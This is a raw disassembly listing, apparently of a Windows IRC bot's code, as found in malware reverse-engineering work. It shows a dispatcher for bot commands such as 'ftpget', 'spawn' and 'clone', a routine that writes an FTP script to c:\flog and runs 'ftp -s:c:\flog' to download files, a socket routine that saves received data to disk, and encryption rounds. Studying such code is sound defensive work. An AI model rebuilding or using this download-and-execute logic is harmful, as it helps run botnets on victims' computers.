.text:00403E2F                jmp        loc_4040AC
.text:00403E34                ; -----
.text:00403E34 loc_403E34:                ; CODE XREF: sub_403DBD+6B*j
.text:00403E34                push       offset aStopsack     ; const char *

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.text:00403E39      push    edi                ; const char *
.text:00403E3A      call   _strcmpi
.text:00403E3F      add    esp, 8
.text:00403E42      or     eax, eax
.text:00403E44      jnz   short loc_403E50
.text:00403E46      mov    eax, dword_408154
.text:00403E4B      jmp   loc_4040AC
; -----
.text:00403E50      loc_403E50:
.text:00403E50      push   offset aGetnick    ; CODE XREF: sub_403DBD+87*j
.text:00403E50      push   edi                ; const char *
.text:00403E55      call   _strcmpi
.text:00403E56      add    esp, 8
.text:00403E5B      or     eax, eax
.text:00403E5E      jnz   short loc_403E6C
.text:00403E60      mov    eax, dword_408158
.text:00403E62      jmp   loc_4040AC
; -----
.text:00403E6C      loc_403E6C:
.text:00403E6C      push   offset aGetnonick  ; CODE XREF: sub_403DBD+A3*j
.text:00403E6C      push   edi                ; const char *
.text:00403E71      call   _strcmpi
.text:00403E72      add    esp, 8
.text:00403E77      or     eax, eax
.text:00403E7A      jnz   short loc_403E88
.text:00403E7C      mov    eax, dword_40815C
.text:00403E7E      jmp   loc_4040AC
; -----
.text:00403E88      loc_403E88:
.text:00403E88      push   offset aGetdcc     ; CODE XREF: sub_403DBD+BF*j
.text:00403E88      push   edi                ; const char *
.text:00403E8D      call   _strcmpi
.text:00403E8E      add    esp, 8
.text:00403E93      or     eax, eax
.text:00403E96      jnz   short loc_403EA4
.text:00403E98      mov    eax, dword_408160
.text:00403E9A      jmp   loc_4040AC
; -----
.text:00403EA4      loc_403EA4:
.text:00403EA4      push   offset aGetnodcc   ; CODE XREF: sub_403DBD+DB*j
.text:00403EA4      push   edi                ; const char *
.text:00403EA9      call   _strcmpi
.text:00403EAA      add    esp, 8
.text:00403EAF      or     eax, eax
.text:00403EB2      jnz   short loc_403EC0
.text:00403EB4      mov    eax, dword_408164
.text:00403EB6      jmp   loc_4040AC
; -----
.text:00403EC0      loc_403EC0:
.text:00403EC0      push   offset aFtpget     ; CODE XREF: sub_403DBD+F7*j
.text:00403EC0      push   edi                ; const char *
.text:00403EC5      call   _strcmpi
.text:00403EC6      add    esp, 8
.text:00403ECB      or     eax, eax
.text:00403ECE      jnz   short loc_403EDC
.text:00403ED0      mov    eax, dword_408168
.text:00403ED2      jmp   loc_4040AC
; -----
.text:00403EDC      loc_403EDC:
.text:00403EDC      push   offset aSpawn      ; CODE XREF: sub_403DBD+113*j
.text:00403EDC      push   edi                ; const char *
.text:00403EE1      call   _strcmpi
.text:00403EE2      add    esp, 8
.text:00403EE7      or     eax, eax

```

```

.text:00403EEC          jnz     short loc_403EF8
.text:00403EEE          mov     eax, dword_40816C
.text:00403EF3          jmp     loc_4040AC
; -----
.text:00403EF8          ;
.text:00403EF8          loc_403EF8:          ; CODE XREF: sub_403DBD+12F*j
.text:00403EF8          push   offset aClone ; const char *
.text:00403EFD          push   edi            ; const char *
.text:00403EFE          call   _strcmpi
.text:00403F03          add     esp, 8
.text:00403F06          or     eax, eax
.text:00403F08          jnz    short loc_403F14
.text:00403F0A          mov     eax, dword_408170
.text:00403F0F          jmp     loc_4040AC
; -----
.text:00403F14          ;
.text:00403F14          loc_403F14:          ; CODE XREF: sub_403DBD+14B*j
.text:00403F14          push   offset aClonedie ; const char *
.text:00403F19          push   edi            ; const char *
.text:00403F1A          call   _strcmpi
.text:00403F1F          add     esp, 8
.text:00403F22          or     eax, eax
.text:00403F24          jnz    short loc_403F30
.text:00403F26          mov     eax, dword_408174
.text:00403F2B          jmp     loc_4040AC
; -----
.text:00403F30          ;
.text:00403F30          loc_403F30:          ; CODE XREF: sub_403DBD+167*j
.text:00403F30          push   offset aRandnick ; const char *
.text:00403F35          push   edi            ; const char *
.text:00403F36          call   _strcmpi
.text:00403F3B          add     esp, 8
.text:00403F3E          or     eax, eax
.text:00403F40          jnz    short loc_403F4C
.text:00403F42          mov     eax, dword_408178
.text:00403F47          jmp     loc_4040AC
; -----
.text:00403F4C          ;
.text:00403F4C          loc_403F4C:          ; CODE XREF: sub_403DBD+183*j
.text:00403F4C          push   offset aTest    ; const char *
.text:00403F51          push   edi            ; const char *
.text:00403F52          call   _strcmpi
.text:00403F57          add     esp, 8
.text:00403F5A          or     eax, eax
.text:00403F5C          jnz    short loc_403F68
.text:00403F5E          mov     eax, dword_40817C
.text:00403F63          jmp     loc_4040AC
; -----
.text:00403F68          ;
.text:00403F68          loc_403F68:          ; CODE XREF: sub_403DBD+19F*j
.text:00403F68          push   offset aGrr     ; const char *
.text:00403F6D          push   edi            ; const char *
.text:00403F6E          call   _strcmpi
.text:00403F73          add     esp, 8
.text:00403F76          or     eax, eax
.text:00403F78          jnz    short loc_403F84
.text:00403F7A          mov     eax, dword_408180
.text:00403F7F          jmp     loc_4040AC
; -----
.text:00403F84          ;
.text:00403F84          loc_403F84:          ; CODE XREF: sub_403DBD+1BB*j
.text:00403F84          push   offset aRelax   ; const char *
.text:00403F89          push   edi            ; const char *
.text:00403F8A          call   _strcmpi
.text:00403F8F          add     esp, 8
.text:00403F92          or     eax, eax
.text:00403F94          jnz    short loc_403FA0
.text:00403F96          mov     eax, dword_408184
.text:00403F9B          jmp     loc_4040AC
; -----

```

```

.text:00403FA0
.text:00403FA0 loc_403FA0:                                ; CODE XREF: sub_403DBD+1D7•j
.text:00403FA0      push   offset aSoup      ; const char *
.text:00403FA5      push   edi                ; const char *
.text:00403FA6      call   _strcmpi
.text:00403FAB      add    esp, 8
.text:00403FAE      or     eax, eax
.text:00403FB0      jnz   short loc_403FBC
.text:00403FB2      mov   eax, dword_408188
.text:00403FB7      jmp   loc_4040AC
.text:00403FBC ; -----
.text:00403FBC loc_403FBC:                                ; CODE XREF: sub_403DBD+1F3•j
.text:00403FBC      push   offset aNosoup4you ; const char *
.text:00403FC1      push   edi                ; const char *
.text:00403FC2      call   _strcmpi
.text:00403FC7      add    esp, 8
.text:00403FCA      or     eax, eax
.text:00403FCC      jnz   short loc_403FD8
.text:00403FCE      mov   eax, dword_40818C
.text:00403FD3      jmp   loc_4040AC
.text:00403FD8 ; -----
.text:00403FD8 loc_403FD8:                                ; CODE XREF: sub_403DBD+20F•j
.text:00403FD8      push   offset aRnick      ; const char *
.text:00403FDD      push   edi                ; const char *
.text:00403FDE      call   _strcmpi
.text:00403FE3      add    esp, 8
.text:00403FE6      or     eax, eax
.text:00403FE8      jnz   short loc_403FF4
.text:00403FEA      mov   eax, dword_408190
.text:00403FEF      jmp   loc_4040AC
.text:00403FF4 ; -----
.text:00403FF4 loc_403FF4:                                ; CODE XREF: sub_403DBD+22B•j
.text:00403FF4      push   offset aSave       ; const char *
.text:00403FF9      push   edi                ; const char *
.text:00403FFA      call   _strcmpi
.text:00403FFF      add    esp, 8
.text:00404002      or     eax, eax
.text:00404004      jnz   short loc_404010
.text:00404006      mov   eax, dword_408194
.text:0040400B      jmp   loc_4040AC
.text:00404010 ; -----
.text:00404010 loc_404010:                                ; CODE XREF: sub_403DBD+247•j
.text:00404010      push   offset aReload    ; const char *
.text:00404015      push   edi                ; const char *
.text:00404016      call   _strcmpi
.text:0040401B      add    esp, 8
.text:0040401E      or     eax, eax
.text:00404020      jnz   short loc_40402C
.text:00404022      mov   eax, dword_408198
.text:00404027      jmp   loc_4040AC
.text:0040402C ; -----
.text:0040402C loc_40402C:                                ; CODE XREF: sub_403DBD+263•j
.text:0040402C      push   offset aSetName   ; const char *
.text:00404031      push   edi                ; const char *
.text:00404032      call   _strcmpi
.text:00404037      add    esp, 8
.text:0040403A      or     eax, eax
.text:0040403C      jnz   short loc_404045
.text:0040403E      mov   eax, dword_40819C
.text:00404043      jmp   short loc_4040AC
.text:00404045 ; -----
.text:00404045 loc_404045:                                ; CODE XREF: sub_403DBD+27F•j
.text:00404045      push   offset aSoupchan  ; const char *
.text:0040404A      push   edi                ; const char *

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.text:0040404B      call     _strcmpi
.text:00404050      add     esp, 8
.text:00404053      or      eax, eax
.text:00404055      jnz     short loc_40405E
.text:00404057      mov     eax, dword_4081A0
.text:0040405C      jmp     short loc_4040AC
.text:0040405E ; -----
.text:0040405E      loc_40405E:                                     ; CODE XREF: sub_403DBD+298•j
.text:0040405E      push   offset aAddserver ; const char *
.text:00404063      push   edi ; const char *
.text:00404064      call   _strcmpi
.text:00404069      add     esp, 8
.text:0040406C      or      eax, eax
.text:0040406E      jnz     short loc_404077
.text:00404070      mov     eax, dword_4081A4
.text:00404075      jmp     short loc_4040AC
.text:00404077 ; -----
.text:00404077      loc_404077:                                     ; CODE XREF: sub_403DBD+2B1•j
.text:00404077      push   offset aRemserver ; const char *
.text:0040407C      push   edi ; const char *
.text:0040407D      call   _strcmpi
.text:00404082      add     esp, 8
.text:00404085      or      eax, eax
.text:00404087      jnz     short loc_404090
.text:00404089      mov     eax, dword_4081A8
.text:0040408E      jmp     short loc_4040AC
.text:00404090 ; -----
.text:00404090      loc_404090:                                     ; CODE XREF: sub_403DBD+2CA•j
.text:00404090      push   offset aChan ; const char *
.text:00404095      push   edi ; const char *
.text:00404096      call   _strcmpi
.text:0040409B      add     esp, 8
.text:0040409E      or      eax, eax
.text:004040A0      jnz     short loc_4040A9
.text:004040A2      mov     eax, dword_4081AC
.text:004040A7      jmp     short loc_4040AC
.text:004040A9 ; -----
.text:004040A9      loc_4040A9:                                     ; CODE XREF: sub_403DBD+2E3•j
.text:004040A9      or      eax, 0FFFFFFFh
.text:004040AC      loc_4040AC:                                     ; CODE XREF: sub_403DBD+1E•j
                                           ; sub_403DBD+3A•j ...
.text:004040AC      pop     edi
.text:004040AD      pop     ebp
.text:004040AE      retn
.text:004040AE      sub_403DBD      endp
.text:004040AE
.text:004040AF      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:004040AF      ; Attributes: bp-based frame
.text:004040AF      sub_4040AF      proc near                                     ; CODE XREF: sub_40156D+416•p
                                           ; sub_40156D+42F•p ...
.text:004040AF      var_C          = dword ptr -0Ch
.text:004040AF      var_8          = dword ptr -8
.text:004040AF      var_4          = dword ptr -4
.text:004040AF      arg_0          = dword ptr 8
.text:004040AF      arg_4          = dword ptr 0Ch
.text:004040AF      push   ebp
.text:004040B0      mov     ebp, esp
.text:004040B2      sub     esp, 0Ch
.text:004040B5      push   ebx
.text:004040B6      push   esi

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.text:004040B7      push     edi
.text:004040B8      mov     esi, [ebp+arg_0]
.text:004040BB      mov     ebx, [ebp+arg_4]
.text:004040BE      xor     edi, edi
.text:004040C0      mov     [ebp+var_8], edi
.text:004040C3      xor     edi, edi
.text:004040C5      mov     [ebp+var_4], 1
.text:004040CC      xor     edi, edi
.text:004040CE      mov     [ebp+var_C], edi
.text:004040D1      xor     edi, edi
.text:004040D3      mov     ecx, 100h
.text:004040D8      xor     eax, eax
.text:004040DA      push    edi
.text:004040DB      mov     edi, offset unk_406000
.text:004040E0      repe stosd
.text:004040E2      pop     edi
.text:004040E3      or     ebx, ebx
.text:004040E5      jge    short loc_4040F0
.text:004040E7      mov     [ebp+var_8], 1
.text:004040EE      neg     ebx
.text:004040F0      loc_4040F0:                                     ; CODE XREF: sub_4040AF+36*j
.text:004040F0      cmp     ebx, 1
.text:004040F3      jnz    short loc_40411E
.text:004040F5      mov     [ebp+var_C], esi
.text:004040F8      jmp     short loc_40411E
.text:004040FA      ; -----
.text:004040FA      loc_4040FA:                                     ; CODE XREF: sub_4040AF+73*j
.text:004040FA      cmp     byte ptr [esi+edi], 20h
.text:004040FE      jnz    short loc_40411D
.text:00404100      mov     eax, [ebp+var_4]
.text:00404103      inc     eax
.text:00404104      mov     [ebp+var_4], eax
.text:00404107      cmp     eax, ebx
.text:00404109      jnz    short loc_404112
.text:0040410B      lea    eax, [edi+esi+1]
.text:0040410F      mov     [ebp+var_C], eax
.text:00404112      loc_404112:                                     ; CODE XREF: sub_4040AF+5A*j
.text:00404112      cmp     [ebp+var_4], ebx
.text:00404115      jle    short loc_40411D
.text:00404117      cmp     [ebp+var_8], 0
.text:0040411B      jz     short loc_404124
.text:0040411D      loc_40411D:                                     ; CODE XREF: sub_4040AF+4F*j
                                                    ; sub_4040AF+66*j
.text:0040411D      inc     edi
.text:0040411E      loc_40411E:                                     ; CODE XREF: sub_4040AF+44*j
                                                    ; sub_4040AF+49*j
.text:0040411E      cmp     byte ptr [esi+edi], 0
.text:00404122      jnz    short loc_4040FA
.text:00404124      loc_404124:                                     ; CODE XREF: sub_4040AF+6C*j
.text:00404124      cmp     [ebp+var_C], 0
.text:00404128      jz     short loc_40417B
.text:0040412A      mov     eax, [ebp+var_C]
.text:0040412D      mov     edx, edi
.text:0040412F      add     edx, esi
.text:00404131      sub     edx, eax
.text:00404133      push    edx
.text:00404134      push    eax
.text:00404135      push    offset unk_406000
.text:0040413A      call   strncpy
.text:0040413F      push    0Ah
.text:00404141      push    offset unk_406000
.text:00404146      call   strchr
.text:0040414B      add     esp, 14h
.text:0040414E      mov     edi, eax

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.text:00404150      or      eax, eax
.text:00404152      jz      short loc_404161
.text:00404154      mov     byte ptr [edi], 0
.text:00404157      cmp     byte ptr [edi-1], 0Bh
.text:0040415B      jnz     short loc_404161
.text:0040415D      mov     byte ptr [edi-1], 0
.text:00404161
.text:00404161 loc_404161:      ; CODE XREF: sub_4040AF+A3*j
.text:00404161      ; sub_4040AF+AC*j
.text:00404161      push   0Dh
.text:00404163      push   offset unk_406000
.text:00404168      call   strchr
.text:0040416D      add     esp, 8
.text:00404170      mov     edi, eax
.text:00404172      or      eax, eax
.text:00404174      jz      short loc_40418A
.text:00404176      mov     byte ptr [edi], 0
.text:00404179      jmp     short loc_40418A
.text:0040417B ; -----
.text:0040417B loc_40417B:      ; CODE XREF: sub_4040AF+79*j
.text:0040417B      push   offset unk_4082C4
.text:00404180      push   offset unk_406000
.text:00404185      call   sub_405608
.text:0040418A
.text:0040418A loc_40418A:      ; CODE XREF: sub_4040AF+C5*j
.text:0040418A      ; sub_4040AF+CA*j
.text:0040418A      lea    eax, ds:406000h
.text:00404190      pop     edi
.text:00404191      pop     esi
.text:00404192      pop     ebx
.text:00404193      leave
.text:00404194      retn
.text:00404194 sub_4040AF      endp
.text:00404194
.text:00404195 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00404195 ; Attributes: bp-based frame
.text:00404195 sub_404195      proc near      ; CODE XREF: sub_40156D+EBB*p
.text:00404195 arg_0          = dword ptr 8
.text:00404195      push   ebp
.text:00404196      mov     ebp, esp
.text:00404198      push   ebx
.text:00404199      push   esi
.text:0040419A      push   edi
.text:0040419B      push   offset aW      ; "w"
.text:004041A0      push   offset aCFlog   ; "c:\\flog"
.text:004041A5      call   fopen
.text:004041AA      add     esp, 8
.text:004041AD      mov     ebx, eax
.text:004041AF      or      ebx, ebx
.text:004041B1      jnz     short loc_4041B8
.text:004041B3      xor     eax, eax
.text:004041B5      inc     eax
.text:004041B6      jmp     short loc_404216
.text:004041B8 ; -----
.text:004041B8 loc_4041B8:      ; CODE XREF: sub_404195+1C*j
.text:004041B8      mov     esi, [ebp+arg_0]
.text:004041BB      jmp     short loc_4041DE
.text:004041BD ; -----
.text:004041BD loc_4041BD:      ; CODE XREF: sub_404195+5B*j
.text:004041BD      mov     byte ptr [edi], 0
.text:004041C0      mov     eax, edi
.text:004041C2      inc     eax

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.text:004041C3      lea     edi, [eax]
.text:004041C5      mov     byte ptr [eax], 0
.text:004041C8      push   esi
.text:004041C9      push   offset aS_0      ; "%s\n"
.text:004041CE      push   ebx
.text:004041CF      call   fprintf
.text:004041D4      add     esp, 0Ch
.text:004041D7      mov     eax, edi
.text:004041D9      inc     eax
.text:004041DA      lea     edi, [eax]
.text:004041DC      lea     esi, [eax]
.text:004041DE      loc_4041DE:                                     ; CODE XREF: sub_404195+26*j
.text:004041DE      push   offset asc_4082B7 ; "%%"
.text:004041E3      push   esi
.text:004041E4      call   strstr
.text:004041E9      add     esp, 8
.text:004041EC      mov     edi, eax
.text:004041EE      or      eax, eax
.text:004041F0      jnz    short loc_4041BD
.text:004041F2      push   esi
.text:004041F3      push   offset aSQuit    ; "%s\nquit\n"
.text:004041F8      push   ebx
.text:004041F9      call   fprintf
.text:004041FE      add     esp, 0Ch
.text:00404201      push   ebx
.text:00404202      call   fclose
.text:00404207      add     esp, 4
.text:0040420A      push   offset aFtpSCFlog ; "ftp -s:c:\\flog"
.text:0040420F      call   sub_40421B
.text:00404214      xor     eax, eax
.text:00404216      loc_404216:                                     ; CODE XREF: sub_404195+21*j
.text:00404216      pop     edi
.text:00404217      pop     esi
.text:00404218      pop     ebx
.text:00404219      pop     ebp
.text:0040421A      retn
.text:0040421A      sub_404195      endp
.text:0040421B      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040421B      ; Attributes: bp-based frame
.text:0040421B      sub_40421B      proc near                                     ; CODE XREF: sub_40156D+F18*p
.text:0040421B      ; sub_404195+7A*p
.text:0040421B      ProcessInformation= _PROCESS_INFORMATION ptr -54h
.text:0040421B      StartupInfo      = _STARTUPINFOA ptr -44h
.text:0040421B      arg_0            = dword ptr 8
.text:0040421B      push   ebp
.text:0040421C      mov     ebp, esp
.text:0040421E      sub     esp, 54h
.text:00404221      push   edi
.text:00404222      mov     edi, [ebp+arg_0]
.text:00404225      cmp     byte ptr [edi], 0
.text:00404228      jnz    short loc_40422E
.text:0040422A      xor     eax, eax
.text:0040422C      jmp     short loc_40427E
.text:0040422E      ; -----
.text:0040422E      loc_40422E:                                     ; CODE XREF: sub_40421B+D*j
.text:0040422E      mov     [ebp+StartupInfo.cb], 44h
.text:00404235      mov     [ebp+StartupInfo.lpReserved], 0
.text:0040423C      mov     [ebp+StartupInfo.lpDesktop], 0
.text:00404243      mov     [ebp+StartupInfo.lpTitle], 0
.text:0040424A      mov     [ebp+StartupInfo.cbReserved2], 0
.text:00404250      mov     [ebp+StartupInfo.lpReserved2], 0

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.text:00404257      lea     eax, [ebp+ProcessInformation]
.text:0040425A      push   eax                ; lpProcessInformation
.text:0040425B      lea     eax, [ebp+StartupInfo]
.text:0040425E      push   eax                ; lpStartupInfo
.text:0040425F      push   0                  ; lpCurrentDirectory
.text:00404261      push   0                  ; lpEnvironment
.text:00404263      push   8                  ; dwCreationFlags
.text:00404265      push   1                  ; bInheritHandles
.text:00404267      push   0                  ; lpThreadAttributes
.text:00404269      push   0                  ; lpProcessAttributes
.text:0040426B      push   edi                ; lpCommandLine
.text:0040426C      push   0                  ; lpApplicationName
.text:0040426E      call   CreateProcessA
.text:00404273      or     eax, eax
.text:00404275      jz     short loc_40427C
.text:00404277      xor    eax, eax
.text:00404279      inc    eax
.text:0040427A      jmp    short loc_40427E
.text:0040427C      ; -----
.text:0040427C      loc_40427C:                ; CODE XREF: sub_40421B+5A•j
.text:0040427C      xor    eax, eax
.text:0040427E      loc_40427E:                ; CODE XREF: sub_40421B+11•j
.text:0040427E      ; sub_40421B+5F•j
.text:0040427E      pop    edi
.text:0040427F      leave
.text:00404280      retn    4
.text:00404280      sub_40421B      endp
.text:00404283      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00404283      ; Attributes: bp-based frame
.text:00404283      sub_404283      proc near                ; DATA XREF: sub_40156D+7CC•o
.text:00404283      var_60          = dword ptr -60h
.text:00404283      cp              = byte ptr -5Ch
.text:00404283      var_34          = dword ptr -34h
.text:00404283      name           = sockaddr ptr -30h
.text:00404283      var_20          = dword ptr -20h
.text:00404283      s              = dword ptr -1Ch
.text:00404283      var_15          = byte ptr -15h
.text:00404283      var_11          = byte ptr -11h
.text:00404283      var_D           = byte ptr -0Dh
.text:00404283      var_9           = byte ptr -9
.text:00404283      buf            = byte ptr -5
.text:00404283      var_4           = dword ptr -4
.text:00404283      arg_0          = dword ptr 8
.text:00404283      push   ebp
.text:00404284      mov    ebp, esp
.text:00404286      sub    esp, 60h
.text:00404289      push   ebx
.text:0040428A      push   esi
.text:0040428B      push   edi
.text:0040428C      mov    eax, [ebp+arg_0]
.text:0040428F      mov    [ebp+var_60], eax
.text:00404292      mov    ecx, 4
.text:00404297      xor    edi, edi
.text:00404299      lea   eax, [ebp+var_15]
.text:0040429C      xchg  eax, edi
.text:0040429D      repe stosd
.text:0040429F      mov    ecx, 0Ah
.text:004042A4      xor    edi, edi
.text:004042A6      lea   eax, [ebp+cp]
.text:004042A9      xchg  eax, edi
.text:004042AA      repe stosd
.text:004042AC      push   0                ; protocol

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.text:004042AE      push     1                ; type
.text:004042B0      push     2                ; af
.text:004042B2      call    socket
.text:004042B7      mov     [ebp+s], eax
.text:004042BA      mov     eax, [ebp+var_60]
.text:004042BD      mov     ecx, [eax+4]
.text:004042C0      mov     dword ptr [ebp+name.sa_data+2], ecx
.text:004042C3      mov     [ebp+name.sa_family], 2
.text:004042C9      movzx   eax, word ptr [eax]
.text:004042CC      push    eax                ; hostshort
.text:004042CD      call    htons
.text:004042D2      mov     word ptr [ebp+name.sa_data], ax
.text:004042D6      lea    esi, [ebp+name.sa_data+2]
.text:004042D9      sub    esp, 4                ; in
.text:004042DC      mov     edi, esp
.text:004042DE      xor    ecx, ecx
.text:004042E0      inc    ecx
.text:004042E1      repe   movsd
.text:004042E3      call   inet_ntoa
.text:004042E8      push    27h
.text:004042EA      push    eax
.text:004042EB      lea    edi, [ebp+cp]
.text:004042EE      push    edi
.text:004042EF      call   strncpy
.text:004042F4      add    esp, 0Ch
.text:004042F7      lea    eax, [ebp+cp]
.text:004042FA      mov    [ebp+var_4], eax
.text:004042FD      xor    ebx, ebx
.text:004042FF      loc_4042FF:                ; CODE XREF: sub_404283+CA•j
.text:004042FF      cmp    ebx, 3
.text:00404302      jge    short loc_404314
.text:00404304      push    2Eh
.text:00404306      push    [ebp+var_4]
.text:00404309      call   strchr
.text:0040430E      add    esp, 8
.text:00404311      mov    byte ptr [eax], 0
.text:00404314      loc_404314:                ; CODE XREF: sub_404283+7F•j
.text:00404314      push    4
.text:00404316      push    [ebp+var_4]
.text:00404319      mov    edi, ebx
.text:0040431B      shl    edi, 2
.text:0040431E      lea    edi, [ebp+edi+var_15]
.text:00404322      push    edi
.text:00404323      call   strncpy
.text:00404328      add    esp, 0Ch
.text:0040432B      cmp    ebx, 3
.text:0040432E      jge    short loc_404349
.text:00404330      mov    eax, [ebp+var_4]
.text:00404333      lea    ecx, [eax]
.text:00404335      or     eax, 0FFFFFFFFh
.text:00404338      loc_404338:                ; CODE XREF: sub_404283+BA•j
.text:00404338      inc    eax
.text:00404339      cmp    byte ptr [ecx+eax], 0
.text:0040433D      jnz    short loc_404338
.text:0040433F      mov    edx, [ebp+var_4]
.text:00404342      lea    eax, [eax+edx+1]
.text:00404346      mov    [ebp+var_4], eax
.text:00404349      loc_404349:                ; CODE XREF: sub_404283+AB•j
.text:00404349      inc    ebx
.text:0040434A      cmp    ebx, 4
.text:0040434D      jl     short loc_4042FF
.text:0040434F      mov    eax, [ebp+var_60]
.text:00404352      mov    eax, [eax+8]
.text:00404355      mov    [ebp+var_34], eax
.text:00404358      xor    ebx, ebx
.text:0040435A      lea    eax, [ebp+var_15]

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.text:0040435D      push    eax
.text:0040435E      lea    eax, [ebp+var_11]
.text:00404361      push    eax
.text:00404362      lea    eax, [ebp+var_D]
.text:00404365      push    eax
.text:00404366      lea    eax, [ebp+var_9]
.text:00404369      push    eax
.text:0040436A      push    offset aS_S_S_S ; "%S.%S.%S.%S"
.text:0040436F      lea    eax, [ebp+cp]
.text:00404372      push    eax
.text:00404373      call   sprintf
.text:00404378      lea    eax, [ebp+cp]
.text:0040437B      push    eax ; cp
.text:0040437C      call   inet_addr
.text:00404381      mov    dword ptr [ebp+name.sa_data+2], eax
.text:00404384      push    offset unk_408290
.text:00404389      mov    eax, [ebp+var_60]
.text:0040438C      add    eax, 0Ch
.text:0040438F      push    eax
.text:00404390      call   fopen
.text:00404395      add    esp, 20h
.text:00404398      mov    [ebp+var_20], eax
.text:0040439B      push    10h ; namelen
.text:0040439D      lea    eax, [ebp+name]
.text:004043A0      push    eax ; name
.text:004043A1      push    [ebp+s] ; s
.text:004043A4      call   connect
.text:004043A9      or     eax, eax
.text:004043AB      jnz    short loc_4043E7
.text:004043AD      jmp    short loc_4043CE
.text:004043AF ; -----
.text:004043AF      loc_4043AF: ; CODE XREF: sub_404283+162*j
.text:004043AF      push    [ebp+var_20]
.text:004043B2      push    1
.text:004043B4      push    1
.text:004043B6      lea    eax, [ebp+buf]
.text:004043B9      push    eax
.text:004043BA      call   fwrite
.text:004043BF      add    esp, 10h
.text:004043C2      inc    ebx
.text:004043C3      xor    ecx, ecx
.text:004043C5      inc    ecx
.text:004043C6      xor    edi, edi
.text:004043C8      lea    eax, [ebp+buf]
.text:004043CB      xchg   eax, edi
.text:004043CC      repe  stosb
.text:004043CE      loc_4043CE: ; CODE XREF: sub_404283+12A*j
.text:004043CE      push    0 ; flags
.text:004043D0      push    1 ; len
.text:004043D2      lea    eax, [ebp+buf]
.text:004043D5      push    eax ; buf
.text:004043D6      push    [ebp+s] ; s
.text:004043D9      call   recv
.text:004043DE      or     eax, eax
.text:004043E0      jle    short loc_4043E7
.text:004043E2      cmp    ebx, [ebp+var_34]
.text:004043E5      jbe    short loc_4043AF
.text:004043E7      loc_4043E7: ; CODE XREF: sub_404283+128*j
.text:004043E7 ; sub_404283+15D*j
.text:004043E7      push    [ebp+var_20]
.text:004043EA      call   fclose
.text:004043EF      add    esp, 4
.text:004043F2      push    [ebp+s] ; s
.text:004043F5      call   closesocket
.text:004043FA      push    0 ; dwExitCode
.text:004043FC      call   ExitThread
.text:00404401      xor    eax, eax

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.text:00404403      pop     edi
.text:00404404      pop     esi
.text:00404405      pop     ebx
.text:00404406      leave
.text:00404407      retn
.text:00404407      sub_404283      endp
.text:00404407
.text:00404408
.text:00404408      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00404408      ; Attributes: bp-based frame
.text:00404408      sub_404408      proc near      ; CODE XREF: sub_404E78+296*p
.text:00404408      ; sub_404E78+2C5*p ...
.text:00404408
.text:00404408      var_48          = dword ptr -48h
.text:00404408      var_44          = dword ptr -44h
.text:00404408      var_40          = dword ptr -40h
.text:00404408      var_3C          = dword ptr -3Ch
.text:00404408      var_38          = dword ptr -38h
.text:00404408      var_34          = dword ptr -34h
.text:00404408      var_30          = dword ptr -30h
.text:00404408      var_2C          = dword ptr -2Ch
.text:00404408      var_28          = dword ptr -28h
.text:00404408      var_24          = dword ptr -24h
.text:00404408      var_20          = dword ptr -20h
.text:00404408      var_1C          = dword ptr -1Ch
.text:00404408      var_18          = dword ptr -18h
.text:00404408      var_14          = dword ptr -14h
.text:00404408      var_10          = dword ptr -10h
.text:00404408      var_C           = dword ptr -0Ch
.text:00404408      var_8           = dword ptr -8
.text:00404408      var_4           = dword ptr -4
.text:00404408      arg_0           = dword ptr 8
.text:00404408      arg_4           = dword ptr 0Ch
.text:00404408
.text:00404408      push    ebp
.text:00404409      mov     ebp, esp
.text:0040440B      sub     esp, 48h
.text:0040440E      push    ebx
.text:0040440F      push    esi
.text:00404410      push    edi
.text:00404411      mov     esi, [ebp+arg_0]
.text:00404414      mov     edi, [ebp+arg_4]
.text:00404417      mov     eax, [esi]
.text:00404419      mov     [ebp+var_4], eax
.text:0040441C      mov     eax, [edi]
.text:0040441E      mov     [ebp+var_8], eax
.text:00404421      mov     eax, ds:dword_406496
.text:00404426      mov     eax, [eax]
.text:00404428      xor     [ebp+var_4], eax
.text:0040442B      mov     ebx, [ebp+var_4]
.text:0040442E      mov     [ebp+var_C], ebx
.text:00404431      mov     edx, ds:dword_40649A
.text:00404437      mov     ecx, ebx
.text:00404439      shr     ecx, 18h
.text:0040443C      mov     eax, [edx]
.text:0040443E      mov     ecx, [eax+ecx*4]
.text:00404441      mov     eax, ebx
.text:00404443      shl     eax, 8
.text:00404446      shr     eax, 18h
.text:00404449      mov     ebx, [edx+4]
.text:0040444C      add     ecx, [ebx+eax*4]
.text:0040444F      mov     ebx, [ebp+var_C]
.text:00404452      shl     ebx, 10h
.text:00404455      shr     ebx, 18h
.text:00404458      mov     eax, [edx+8]
.text:0040445B      xor     ecx, [eax+ebx*4]
.text:0040445E      mov     ebx, [ebp+var_C]
.text:00404461      and     ebx, 0FFh

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.text:00404467      mov     edx, [edx+0Ch]
.text:0040446A      add     ecx, [edx+ebx*4]
.text:0040446D      mov     ebx, ds:dword_406496
.text:00404473      mov     edx, ecx
.text:00404475      xor     edx, [ebx+4]
.text:00404478      xor     [ebp+var_8], edx
.text:0040447B      mov     ebx, [ebp+var_8]
.text:0040447E      mov     [ebp+var_10], ebx
.text:00404481      mov     edx, ds:dword_40649A
.text:00404487      mov     ecx, ebx
.text:00404489      shr     ecx, 18h
.text:0040448C      mov     eax, [edx]
.text:0040448E      mov     ecx, [eax+ecx*4]
.text:00404491      mov     eax, ebx
.text:00404493      shl     eax, 8
.text:00404496      shr     eax, 18h
.text:00404499      mov     ebx, [edx+4]
.text:0040449C      add     ecx, [ebx+eax*4]
.text:0040449F      mov     ebx, [ebp+var_10]
.text:004044A2      shl     ebx, 10h
.text:004044A5      shr     ebx, 18h
.text:004044A8      mov     eax, [edx+8]
.text:004044AB      xor     ecx, [eax+ebx*4]
.text:004044AE      mov     ebx, [ebp+var_10]
.text:004044B1      and     ebx, 0FFh
.text:004044B7      mov     edx, [edx+0Ch]
.text:004044BA      add     ecx, [edx+ebx*4]
.text:004044BD      mov     ebx, ds:dword_406496
.text:004044C3      mov     edx, ecx
.text:004044C5      xor     edx, [ebx+8]
.text:004044C8      xor     [ebp+var_4], edx
.text:004044CB      mov     ebx, [ebp+var_4]
.text:004044CE      mov     [ebp+var_14], ebx
